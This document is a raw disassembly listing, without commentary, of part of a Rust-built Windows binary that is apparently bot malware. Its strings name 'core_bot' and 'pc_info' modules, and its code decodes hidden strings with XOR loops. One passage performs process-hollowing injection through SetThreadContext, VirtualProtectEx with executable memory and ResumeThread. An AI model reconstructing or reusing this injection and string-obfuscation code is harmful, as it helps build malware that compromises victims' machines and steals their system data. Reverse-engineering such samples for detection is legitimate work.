mov r14, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
mov rcx, r14
call fcn.1a7f1b42942
mov rcx, rbp
mov rdx, rbx
call fcn.1a7f1b8357b
mov rbx, qword [rsp + 0x210]
mov rdi, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x218]
mov rcx, rbx
call fcn.1a7f1b42942
mov rdx, qword [rsp + 0x250]
mov rcx, rdi
jmp 0x1a7f1b5ca4b
xor eax, eax
xor edx, edx
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edx
and qword [rsp + 0x2b0], 0
jmp 0x1a7f1b60a4c
mov ecx, eax
call fcn.1a7f1bf4ce2
jmp 0x1a7f1b5ff10
mov ecx, eax
call fcn.1a7f1bf4ce2
jmp 0x1a7f1b60734
xor eax, eax
xor edx, edx
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edx
and qword [rsp + 0x2b0], 0
mov bpl, 1
xor edi, edi
mov sil, 1
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov r14b, 1
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
test r14b, r14b
jne 0x1a7f1b5ff57
lea rcx, [rsp + 0xa0]
call fcn.1a7f1bf43d2
test bpl, bpl
je 0x1a7f1b5ff69
lea rcx, [rsp + 0xa8]
call fcn.1a7f1bf43d2
test dil, dil
je 0x1a7f1b5ff7b
lea rcx, [rsp + 0xb0]
call fcn.1a7f1bf43d2
test sil, sil
je 0x1a7f1b5ff8d
lea rcx, [rsp + 0xb8]
call fcn.1a7f1bf43d2
lea rcx, [rsp + 0xf0]
call fcn.1a7f1bf64c8
lea r8, [0x1a7f1c37098]
lea rsi, [rsp + 0xf0]
lea rdi, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b43684
and qword [rdi], 0
mov rcx, qword [rsi + 0x18]
mov rax, qword [rcx]
xor edi, edi
lea r8, [rsp + 0x2b0]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
js 0x1a7f1b6018d
mov rbx, qword [rsp + 0x2b0]
test rbx, rbx
je 0x1a7f1b60198
lea rsi, [rsp + 0x2b0]
and qword [rsi], 0
mov rax, qword [rbx]
lea rdx, str.MbLk
mov rcx, rbx
mov r8, rsi
call qword [rax]
mov r14, qword [rsi]
test eax, eax
js 0x1a7f1b601bd
test r14, r14
je 0x1a7f1b601d9
mov rdx, qword [rsp + 0x1d8]
mov rax, qword [r14]
mov rdi, qword [rax + 0x58]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r14
mov rdx, rax
call rdi
mov ebp, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
mov dil, 1
test ebp, ebp
js 0x1a7f1b60203
mov rdx, qword [rsp + 0x1d0]
mov rax, qword [r14]
mov r15, qword [rax + 0x40]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r14
mov rdx, rax
call r15
mov r15d, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test r15d, r15d
js 0x1a7f1b60206
mov rdx, qword [rsp + 0x1e0]
mov rax, qword [r14]
mov r15, qword [rax + 0x78]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r14
mov rdx, rax
call r15
mov r15d, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test r15d, r15d
js 0x1a7f1b606a8
mov rdx, qword [rsp + 0x1e8]
mov rax, qword [r14]
mov rdi, qword [rax + 0x68]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rdx
mov ecx, 1
call fcn.1a7f1bf4537
mov rcx, r14
mov rdx, rax
call rdi
mov r15d, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test r15d, r15d
js 0x1a7f1b606af
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x2b0], xmm0
movaps xmmword [rsp + 0x2c0], xmm1
movaps xmmword [rsp + 0x2d0], xmm2
jmp 0x1a7f1b6028b
mov ecx, eax
call fcn.1a7f1bf4ce2
mov edi, edx
jmp 0x1a7f1b6019a
xor eax, eax
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edi
and qword [rsp + 0x2b0], 0
mov dil, 1
mov sil, 1
mov r14b, 1
jmp 0x1a7f1b6023b
mov ecx, eax
call fcn.1a7f1bf4ce2
mov rdi, rax
mov ebp, edx
test r14, r14
je 0x1a7f1b601dd
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
jmp 0x1a7f1b601dd
xor edi, edi
xor ebp, ebp
mov qword [rsp + 0x2b8], rdi
mov dword [rsp + 0x2c0], ebp
and qword [rsp + 0x2b0], 0
mov r14b, 1
mov bpl, 1
mov sil, 1
mov dil, 1
jmp 0x1a7f1b6022d
mov r15d, ebp
mov sil, 1
shr ebp, 0x1f
mov dword [rsp + 0x2c0], r15d
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x2b0], xmm0
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
xor r14d, r14d
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
test bpl, bpl
je 0x1a7f1b60248
lea rcx, [rsp + 0x1d0]
call fcn.1a7f1bf43d2
test r14b, r14b
je 0x1a7f1b6025a
lea rcx, [rsp + 0x1d8]
call fcn.1a7f1bf43d2
test sil, sil
je 0x1a7f1b6026c
lea rcx, [rsp + 0x1e0]
call fcn.1a7f1bf43d2
test dil, dil
je 0x1a7f1b6027e
lea rcx, [rsp + 0x1e8]
call fcn.1a7f1bf43d2
lea rcx, [rsp + 0xf0]
call fcn.1a7f1bf64c8
lea r8, [0x1a7f1c370b0]
lea rsi, [rsp + 0xf0]
lea rdi, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b43684
and qword [rdi], 0
mov rcx, qword [rsi]
mov rax, qword [rcx]
lea rdx, [rsp + 0x2b0]
call qword [rax + 0x78]
test eax, eax
js 0x1a7f1b603cb
mov rbx, qword [rsp + 0x2b0]
test rbx, rbx
je 0x1a7f1b603d4
mov rax, qword [rbx]
mov rcx, rbx
mov edx, 1
call qword [rax + 0x90]
test eax, eax
js 0x1a7f1b603f2
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
xor edx, edx
call fcn.1a7f1bf4600
mov rcx, qword [rbx]
mov rdi, qword [rcx + 0x40]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rax
mov ecx, 1
mov rdx, rax
call fcn.1a7f1bf4537
mov rcx, rbx
mov rdx, rax
call rdi
mov edi, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test edi, edi
js 0x1a7f1b603f4
lea rcx, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_strpattern.rs
xor edx, edx
call fcn.1a7f1bf4600
mov rcx, qword [rbx]
mov rdi, qword [rcx + 0x60]
lea rsi, [rsp + 0x2b0]
mov qword [rsi], 1
mov qword [rsi + 8], rax
mov ecx, 1
mov rdx, rax
call fcn.1a7f1bf4537
mov rcx, rbx
mov rdx, rax
call rdi
mov edi, eax
mov rcx, rsi
call fcn.1a7f1bf64b2
test edi, edi
js 0x1a7f1b603f4
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movdqa xmmword [rsp + 0x2b0], xmm0
movaps xmmword [rsp + 0x2c0], xmm1
movaps xmmword [rsp + 0x2d0], xmm2
jmp 0x1a7f1b6041e
mov ecx, eax
call fcn.1a7f1bf4ce2
jmp 0x1a7f1b603d8
xor eax, eax
xor edx, edx
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edx
and qword [rsp + 0x2b0], 0
jmp 0x1a7f1b60411
mov edi, eax
mov dword [rsp + 0x2c0], edi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2b0], xmm0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
lea rcx, [rsp + 0xf0]
call fcn.1a7f1bf64c8
lea r8, [0x1a7f1c370c8]
lea rsi, [rsp + 0xf0]
lea rdx, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b43684
mov rcx, qword [rsi + 0x20]
mov rax, qword [rcx]
mov dx, 1
call qword [rax + 0x130]
test eax, eax
js 0x1a7f1b60486
movdqu xmm0, xmmword [rsp + 0xf0]
movups xmm1, xmmword [rsp + 0x100]
movups xmm2, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x2d0], xmm2
movaps xmmword [rsp + 0x2c0], xmm1
movdqa xmmword [rsp + 0x2b0], xmm0
jmp 0x1a7f1b604a7
mov dword [rsp + 0x2c0], eax
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2b0], xmm0
lea rcx, [rsp + 0xf0]
call fcn.1a7f1bf64c8
lea r8, [0x1a7f1c370e0]
lea rcx, [rsp + 0x160]
lea rsi, [rsp + 0x2b0]
mov rdx, rsi
call fcn.1a7f1b43684
lea rax, [0x1a7f1c28b9f]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xefd347dc219e70d3
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b468ca
and qword [rsi + 0x10], 0
pxor xmm0, xmm0
movdqa xmmword [rsi], xmm0
xor ecx, ecx
lea rdx, [0x1a7f1c370f8]
cmp rcx, 0x17
ja 0x1a7f1b6051a
mov r8, qword [rcx + rdx]
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2b0], r8
add rcx, 8
jmp 0x1a7f1b604fe
lea rbx, [rsp + 0x2b0]
mov rax, qword [rbx + 0x10]
lea rcx, [rsp + 0x280]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rbx]
movaps xmmword [rcx], xmm0
mov edx, 0x18
call fcn.1a7f1bf4600
lea rcx, [rsp + 0x230]
and qword [rcx], 0
mov rdi, qword [rsp + 0x188]
mov rcx, qword [rdi]
mov r12, qword [rcx + 0x88]
mov qword [rsp + 0x1f0], 1
mov qword [rsp + 0x1f8], rax
mov ecx, 1
mov rdx, rax
call fcn.1a7f1bf4537
mov r14, rax
mov r15, qword [rsp + 0x160]
mov ebp, 3
lea rdx, [rsp + 0x80]
mov qword [rdx], rbp
lea rsi, [rsp + 0xd0]
mov rcx, rsi
call fcn.1a7f1bf6472
lea rdx, [rsp + 0xf0]
mov qword [rdx], rbp
mov rcx, r13
call fcn.1a7f1bf6472
mov qword [rbx], rbp
lea rbp, [rsp + 0x1b0]
mov rcx, rbp
mov rdx, rbx
call fcn.1a7f1bf6472
lea rax, [rsp + 0x230]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], rsi
mov dword [rsp + 0x30], 3
mov rcx, rdi
mov rdx, r14
mov r8, r15
mov eax, edi
mov eax, edi
mov r9d, 6
call r12
test eax, eax
js 0x1a7f1b60621
mov rsi, qword [rsp + 0x230]
test rsi, rsi
setne bl
xor edi, edi
jmp 0x1a7f1b6062f
mov ecx, eax
call fcn.1a7f1bf4ce2
mov rsi, rax
mov edi, edx
xor ebx, ebx
lea rcx, [rsp + 0x1f0]
call fcn.1a7f1bf64b2
test bl, bl
je 0x1a7f1b61474
mov rcx, qword [rsp + 0x180]
mov rax, qword [rcx]
mov dx, 1
call qword [rax + 0xf0]
test eax, eax
js 0x1a7f1b61467
lea rcx, [rsp + 0x160]
call fcn.1a7f1bf64c8
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax + 0x10]
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
call fcn.1a7f1b8357b
movaps xmm6, xmmword [rsp + 0x880]
add rsp, 0x898
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor esi, esi
jmp 0x1a7f1b60209
xor esi, esi
xor edi, edi
jmp 0x1a7f1b60209
movzx r14d, word [rsi + rbx + 6]
lea r12, [rsi + 0x11c]
lea r13, [rsp + 0xa0]
mov rbx, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x78]
sub r14, 1
jb 0x1a7f1b60764
movsxd rax, dword [rsi + 0x3c]
mov r8d, dword [r12 + rax - 8]
mov ecx, dword [r12 + rax - 4]
mov r9d, dword [r12 + rax]
mov rdx, qword [rsp + 0xd0]
add r8, qword [rsp + 0x1f0]
add r9, rsi
mov qword [rsp + 0x20], rcx
mov rcx, r13
call fcn.1a7f1b47530
cmp qword [rsp + 0xa0], 0
jne 0x1a7f1b608ba
mov rcx, r13
call fcn.1a7f1b42b57
add r12, 0x28
jmp 0x1a7f1b606d7
xor eax, eax
xor edx, edx
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edx
and qword [rsp + 0x2b0], 0
jmp 0x1a7f1b60a43
mov ecx, eax
call fcn.1a7f1bf4ce2
jmp 0x1a7f1b608e5
mov edi, eax
jmp 0x1a7f1b60904
mov rax, qword [rsp + 0x60]
mov eax, dword [rsi + rax + 0x28]
add rax, qword [rsp + 0x1f0]
lea rdx, [rsp + 0x2b0]
mov qword [rdx + 0x80], rax
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.kernel32.dll_SetThreadContext]
test eax, eax
je 0x1a7f1b60933
lea rcx, [rsp + 0xa0]
and qword [rcx], 0
call fcn.1a7f1b42b57
mov rdx, qword [rsp + 0xd0]
mov r8, qword [rsp + 0x338]
add r8, 0x10
mov qword [rsp + 0x20], 8
lea r14, [rsp + 0xa0]
lea r9, [rsp + 0x1f0]
mov rcx, r14
call fcn.1a7f1b47530
mov rdi, qword [r14]
mov rcx, r14
call fcn.1a7f1b42b57
test rdi, rdi
jne 0x1a7f1b60954
and dword [rsp + 0x80], 0
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0x1f0]
mov rax, qword [rsp + 0x60]
mov r8d, dword [rsi + rax + 0x50]
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
mov r9d, 0x40
call qword [sym.imp.kernel32.dll_VirtualProtectEx]
test eax, eax
je 0x1a7f1b60a64
lea rcx, [rsp + 0xa0]
and qword [rcx], 0
call fcn.1a7f1b42b57
mov rcx, qword [rsp + 0xd8]
call qword [sym.imp.kernel32.dll_ResumeThread]
cmp eax, 0xffffffff
je 0x1a7f1b60a85
mov rcx, r15
mov rdx, qword [rsp + 0x78]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x1d0]
mov rdx, qword [rsp + 0x1d8]
call fcn.1a7f1b42942
mov rcx, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x68]
call fcn.1a7f1b8357b
mov rcx, qword [rsp + 0x210]
mov rdx, qword [rsp + 0x218]
call fcn.1a7f1b42942
mov rcx, qword [rsp + 0x248]
mov rdx, qword [rsp + 0x250]
jmp 0x1a7f1b5ca4b
lea rcx, [rsp + 0xa0]
call fcn.1a7f1b42b57
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
jmp 0x1a7f1b5fe78
xor eax, eax
xor edx, edx
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edx
and qword [rsp + 0x2b0], 0
jmp 0x1a7f1b60a39
xor esi, esi
mov dword [rsp + 0x2c0], edi
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x2b0], xmm0
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
xor edi, edi
xor ebp, ebp
jmp 0x1a7f1b5ff30
mov ecx, eax
call fcn.1a7f1bf4ce2
jmp 0x1a7f1b6098c
call fcn.1a7f1bf5a65
lea rcx, [rsp + 0xa0]
and qword [rcx + 8], 0
mov dword [rcx + 0x10], eax
mov qword [rcx], 1
call fcn.1a7f1b42b57
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
jmp 0x1a7f1b5fd62
lea rcx, str.attempt_to_calculate_the_remainder_with_a_divisor_of_zero
lea r8, str.srccoreutilsmod.rs
mov edx, 0x39
call fcn.1a7f1c2fc60
ud2
xor eax, eax
xor edx, edx
mov qword [rsp + 0x2b8], rax
mov dword [rsp + 0x2c0], edx
and qword [rsp + 0x2b0], 0
jmp 0x1a7f1b60a2b
mov ecx, eax
call fcn.1a7f1bf4ce2
mov rdi, rax
mov dword [rsp + 0x68], edx
xor esi, esi
lea rcx, [rsp + 0x2b0]
call fcn.1a7f1bf64b2
test sil, sil
je 0x1a7f1b60a05
mov qword [rsp + 0x2b0], r14
mov qword [rsp + 0x2b8], r12
mov qword [rsp + 0x2c0], r15
mov qword [rsp + 0x2c8], rbx
mov qword [rsp + 0x2d0], rbp
mov qword [rsp + 0x2d8], rdi
mov rcx, qword [rsp + 0x60]
mov rax, qword [rcx]
jmp 0x1a7f1b60a5c
mov qword [rsp + 0x2b8], rdi
mov eax, dword [rsp + 0x68]
mov dword [rsp + 0x2c0], eax
and qword [rsp + 0x2b0], 0
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rbp, qword [rsp + 0x60]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rax, qword [rbp]
mov rcx, rbp
call qword [rax + 0x10]
jmp 0x1a7f1b5ec19
call fcn.1a7f1bf5a65
lea rcx, [rsp + 0xa0]
and qword [rcx + 8], 0
mov dword [rcx + 0x10], eax
mov qword [rcx], 1
call fcn.1a7f1b42b57
mov rcx, qword [rsp + 0xd0]
mov rdx, qword [rsp + 0xd8]
call fcn.1a7f1b4dcec
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
jmp 0x1a7f1b5fd62
mov rdx, qword [rsp + 0xa8]
mov edx, dword [rsp + 0xa8]
mov rcx, rbp
call fcn.1a7f1b42942
xor ecx, ecx
call fcn.1a7f1bca550
ud2
lea rcx, [0x1a7f1c8b482]
lea r8, str.srccore_botmod.rs
jmp 0x1a7f1b61a23
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
jmp 0x1a7f1b60ae9
call fcn.1a7f1bbe13a
lea r8, [rsp + 0x2b0]
mov qword [r8], rax
lea rax, str.srccorepc_infopc_info.rs
jmp 0x1a7f1b60b17
mov rax, qword [rsp + 0x2b0]
lea r8, [rsp + 0xf0]
mov qword [r8], rax
lea rax, str.srccorepc_infopc_info.rs
mov qword [rsp + 0x20], rax
lea rcx, [0x1a7f1c8b4ad]
lea r9, fcn.1a7f1b42571
jmp 0x1a7f1b614aa
call fcn.1a7f1c2f924
ud2
mov rdx, qword [r9 + 0x30]
mov r8, qword [r9 + 0x40]
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
call fcn.1a7f1b66d10
lea rcx, [rsp + 0xa0]
mov rdx, rbp
mov r8, r14
mov r9, rsi
call fcn.1a7f1b4c016
lea rax, [0x1a7f1c2ea2d]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xf997e7d98dfb5224
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b46978
and dword [rsi + 3], 0
and dword [rsi], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1a7f1c37258]
test r8b, 1
je 0x1a7f1b60bf3
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x2b0], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x1a7f1b60b99
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x75bf
xor cl, 0xf9
lea rsi, [rsp + 0x2b0]
mov r8d, dword [rsi]
lea rdx, [rsp + 0x80]
mov dword [rdx], r8d
mov byte [rdx + 6], cl
mov word [rdx + 4], ax
mov r8d, 7
mov rcx, rsi
call case.0x1a7f1b91e8c.354
mov r12d, 1
lea r8, [rsp + 0x160]
mov qword [r8], r12
xorps xmm6, xmm6
movups xmmword [r8 + 8], xmm6
lea rdi, [rsp + 0xf0]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b436fd
mov byte [rdi + 0x18], 1
lea rbx, [rsp + 0x160]
mov rcx, rbx
call fcn.1a7f1b4e591
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rdi
call fcn.1a7f1b41f88
lea rax, [0x1a7f1c28960]
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0xb288aa2e9857b1bb
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b467e9
movzx ecx, byte [rax + 2]
movzx eax, word [rax]
xor eax, 0xe999
xor cl, 5
mov byte [rsi + 2], cl
mov word [rsi], ax
lea rsi, [rsp + 0x2b0]
mov rcx, rdi
mov rdx, rsi
call fcn.1a7f1b41f53
mov rbx, qword [rdi]
mov rdi, qword [rdi + 0x10]
mov rcx, rbx
mov rdx, rdi
call fcn.1a7f1b41f22
lea r8, str.srccore_botmod.rs
lea eax, [0x1a7f1c37260]
lea eax, [0x1a7f1c37260]
mov rcx, rax
call fcn.1a7f1be751d
mov r14, rax
mov r15, rdx
mov r8, qword [rsp + 0xa0]
mov r9, qword [rsp + 0xb0]
mov rcx, rbx
mov rdx, rdi
call fcn.1a7f1b4e0d0
movups xmmword [rsi + 0x80], xmm6
and qword [rsi], 0
mov qword [rsi + 0x78], r12
mov bl, 2
mov byte [rsi + 0x92], bl
mov word [rsi + 0x90], 0x204
and qword [rsi + 0x18], 0
and qword [rsi + 0x30], 0
and qword [rsi + 0x48], 0
and qword [rsi + 0x60], 0
lea rsi, [rsp + 0x2b0]
mov rcx, rsi
mov rdx, r14
mov r8, r15
call fcn.1a7f1b4dd7b
mov byte [rsi + 0x90], bl
mov rcx, rsi
call fcn.1a7f1b4d893
jmp 0x1a7f1b60ab9
lea rsi, [rsp + 0x2b0]
lea rax, [0x1a7f1c29321]
lodsb al, byte [rsi]
test dword [rax + rax], ecx
lodsb al, byte [rsi]
test dword [rax + rax], ecx
mov qword [rsi], rax
mov rcx, qword [rsi]
movabs rax, 0x5177e5d8da59d796
mov qword [rsi], rax
mov rdx, qword [rsi]
call fcn.1a7f1b46a87
and dword [rsi + 3], 0
and dword [rsi], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1a7f1c37278]
test r8b, 1
je 0x1a7f1b60e07
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 3
mov r11, rcx
or r11, 2
movzx r11d, byte [r11 + rdx]
movzx r10d, byte [r10 + rdx]
shl r10d, 0x18
shl r11d, 0x10
shl r9d, 8
or r9d, r8d
or r9d, r11d
or r9d, r10d
xor r9d, dword [rax + rcx]
mov dword [rsp + rcx + 0x2b0], r9d
mov ecx, 4
xor r8d, r8d
jmp 0x1a7f1b60da3
mov ecx, 1
jmp 0x1a7f1b60abb
movzx ecx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0x93e4
xor cl, 0x3e
mov edx, dword [rsp + 0x2b0]
mov dword [rsp + 0x280], edx
mov byte [rsp + 0x286], cl
mov word [rsp + 0x284], ax
lea rax, [0x1a7f1c31f60]
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rsp + 0x2b0]
movabs rax, 0xa1e04b65b052916c
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
call fcn.1a7f1b469b7
and qword [rsp + 0x2b0], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1a7f1c3727f]
test r8b, 1
je 0x1a7f1b60f29
movzx r9d, byte [rcx + rdx]
mov r8, rcx
or r8, 1
movzx r8d, byte [r8 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
mov r11, rcx
or r11, 3
movzx r11d, byte [r11 + rdx]
mov rsi, rcx
or rsi, 4
movzx esi, byte [rsi + rdx]
mov rdi, rcx
or rdi, 5
movzx edi, byte [rdi + rdx]
mov rbx, rcx
or rbx, 6
mov r14, rcx
or r14, 7
movzx ebx, byte [rbx + rdx]
movzx r14d, byte [r14 + rdx]
shl r14, 0x38
shl rbx, 0x30
or rbx, r14
shl rdi, 0x28
shl rsi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rsi
or r8, rdi
or r8, rbx
xor r8, qword [rax + rcx]
mov qword [rsp + rcx + 0x2b0], r8
mov ecx, 8
xor r8d, r8d
jmp 0x1a7f1b60e7f
mov al, byte [rax + 8]
xor al, 0x83
lea rbx, [rsp + 0x2b0]
mov rcx, qword [rbx]
mov qword [rsp + 0xd0], rcx
mov byte [rsp + 0xd8], al
lea r14, [rsp + 0x160]
mov rcx, r14
call fcn.1a7f1b67617
mov edi, dword [r14 + 8]
mov r12d, edi
sar r12d, 0xd
mov ecx, edi
call fcn.1a7f1b48ea2
mov esi, eax
mov ecx, edi
call fcn.1a7f1b48e8e
mov edi, eax
mov ecx, 0x7e0
call fcn.1a7f1b6742b
mov ebp, edx
lea rdx, str.srccoreutilslcg.rs
mov ecx, eax
call fcn.1a7f1b434af
and dword [rbx + 8], 0
mov dword [rbx + 0xc], ebp
mov qword [rbx], 1
lea r8, str.srccoreutilslcg.rs
lea r15, [rsp + 0xf0]
mov rcx, r15
mov rdx, rbx
call fcn.1a7f1b671da
lea eax, [r12 - 0x7e0]
imul ebp, eax, 0xc
mov rcx, r14
mov rdx, r15
call fcn.1a7f1b67477
test rax, rax
sets cl
test edx, edx
setg dl
and dl, cl
movzx ecx, dl
add rax, rcx
mov ecx, 0x15180
cqo
idiv rcx
lea ecx, [r12*2 - 0x7e0]
add ecx, edi
lea ecx, [rcx + rsi*2]
add ecx, ebp
add eax, ecx
dec eax
cdqe
imul r8, rax, 0x1d9e
lea rcx, [rsp + 0x80]
mov edx, 0xc
call fcn.1a7f1b4df79
lea rax, [0x1a7f1c33969]
mov qword [rbx], rax
mov rcx, qword [rbx]
movabs rax, 0xdf82e1171233377d
mov qword [rbx], rax
mov rdx, qword [rbx]
call fcn.1a7f1b46960
and dword [rbx], 0
mov r8b, 1
xor ecx, ecx
lea rdx, [0x1a7f1c36f26]
test r8b, 1
je 0x1a7f1b61098
movzx r8d, byte [rcx + rdx]
mov r9, rcx
or r9, 1
movzx r9d, byte [r9 + rdx]
mov r10, rcx
or r10, 2
movzx r10d, byte [r10 + rdx]
shl r10d, 0x10
shl r9d, 8
or r9d, r8d
lea r8d, [r10 + r9]
add r8d, 0x1b000000
xor r8d, dword [rax + rcx]
mov dword [rsp + rcx + 0x2b0], r8d
mov ecx, 4
xor r8d, r8d
jmp 0x1a7f1b61049
mov ebp, dword [rsp + 0x2b0]
mov ecx, 4
call fcn.1a7f1bf6427
mov rsi, rax
mov rdi, rdx
mov dword [rax], ebp
lea rcx, [rsp + 0x80]
mov r8d, 4
mov rdx, rax
call fcn.1a7f1bd69a6
mov rcx, rsi
mov rdx, rdi
call fcn.1a7f1b8357b
mov ecx, 0x18
mov edx, 8
call fcn.1a7f1b43c33
mov rsi, rax
lea rax, [0x1a7f1c2aa66]
mov qword [rsp + 0x2b0], rax
mov rcx, qword [rsp + 0x2b0]
movabs rax, 0x249c420f6faca5e9
mov qword [rsp + 0x2b0], rax
mov rdx, qword [rsp + 0x2b0]
call fcn.1a7f1b46899
and dword [rsp + 0x2b8], 0
and qword [rsp + 0x2b0], 0
mov r8b, 1
xor edx, edx
lea rcx, [0x1a7f1c36f18]
test r8b, 1
je 0x1a7f1b611e2
movzx r9d, byte [rdx + rcx]
mov r8, rdx
or r8, 1
movzx r8d, byte [r8 + rcx]
mov r10, rdx
or r10, 2
movzx r10d, byte [r10 + rcx]
mov r11, rdx
or r11, 3
movzx r11d, byte [r11 + rcx]
mov rdi, rdx
or rdi, 4
movzx edi, byte [rdi + rcx]
mov rbx, rdx
or rbx, 5
movzx ebx, byte [rbx + rcx]
mov r15, rdx
or r15, 7
mov r14, rdx
or r14, 6
movzx r14d, byte [r14 + rcx]
movzx r15d, byte [r15 + rcx]
shl r15, 0x38
shl r14, 0x30
or r14, r15
shl rbx, 0x28
shl rdi, 0x20
shl r11, 0x18
shl r10, 0x10
shl r8, 8
or r8, r9
or r8, r10
or r8, r11
or r8, rdi
or r8, rbx
or r8, r14
xor r8, qword [rax + rdx]
mov qword [rsp + rdx + 0x2b0], r8
mov edx, 8
xor r8d, r8d
jmp 0x1a7f1b61137
mov edx, 8
cmp rdx, 0xb
ja 0x1a7f1b61218
movzx r8d, byte [rdx + rcx + 2]
shl r8d, 0x10
movzx r9d, word [rdx + rcx]
add r8d, r9d
add r8d, 0xa9000000
xor r8d, dword [rax + rdx]
